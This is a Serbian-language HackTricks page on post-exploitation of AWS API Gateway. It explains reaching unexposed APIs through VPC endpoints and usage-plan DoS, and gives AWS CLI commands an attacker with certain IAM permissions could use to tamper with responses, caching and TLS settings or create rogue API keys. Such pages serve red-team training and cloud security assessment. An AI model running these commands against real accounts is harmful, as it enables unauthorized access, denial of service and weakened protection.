AWS - API Gateway Post Exploitation

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

API Gateway

Za više informacija pogledajte:

pageAWS - API Gateway Enum

Pristup neizloženim API-ima

Možete kreirati endpoint na https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint sa servisom com.amazonaws.us-east-1.execute-api, izložiti endpoint u mreži gde imate pristup (potencijalno putem EC2 mašine) i dodeliti sigurnosnu grupu koja dozvoljava sve konekcije. Zatim, sa EC2 mašine ćete moći da pristupite endpointu i stoga pozovete API gateway koji prethodno nije bio izložen.

DoS napadi na planove korišćenja

U odeljku Enumeracija možete videti kako dobiti plan korišćenja ključeva. Ako imate ključ i on je ograničen na X korišćenja mesečno, možete ga jednostavno koristiti i izazvati DoS.

API ključ samo treba da bude uključen unutar HTTP zaglavlja nazvanog x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Napadač sa dozvolama apigateway:UpdateGatewayResponse i apigateway:CreateDeployment može modifikovati postojeći Gateway Response da uključi prilagođena zaglavlja ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skriptova ili neovlašćen pristup resursima API-ja.

Potrebno je testiranje

apigateway:UpdateStage, apigateway:CreateDeployment

Napadač sa dozvolama apigateway:UpdateStage i apigateway:CreateDeployment može izmeniti postojeći API Gateway stage kako bi preusmerio saobraćaj na drugi stage ili promenio postavke keširanja kako bi stekao neovlašćen pristup keširanim podacima.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Neovlašćen pristup keširanim podacima, ometanje ili presretanje API saobraćaja.

Potrebno je testiranje

apigateway:PutMethodResponse, apigateway:CreateDeployment

Napadač sa dozvolama apigateway:PutMethodResponse i apigateway:CreateDeployment može modifikovati odgovor metode postojeće API Gateway REST API metode da uključi prilagođene zaglavlja ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skriptova ili neovlašćen pristup API resursima.

Potrebno je testiranje

apigateway:UpdateRestApi, apigateway:CreateDeployment

Napadač sa dozvolama apigateway:UpdateRestApi i apigateway:CreateDeployment može modifikovati postavke API Gateway REST API-ja kako bi onemogućio beleženje ili promenio minimalnu verziju TLS-a, potencijalno oslabljujući bezbednost API-ja.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potencijalni uticaj: Oslabljuje sigurnost API-ja, potencijalno omogućavajući neovlašćen pristup ili otkrivanje osetljivih informacija.

Potrebno je testiranje

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Napadač sa dozvolama apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan i apigateway:CreateUsagePlanKey može kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-ima.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potencijalni uticaj: Neovlašćen pristup API resursima, zaobilazak sigurnosnih kontrola.

Potrebno je testiranje

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated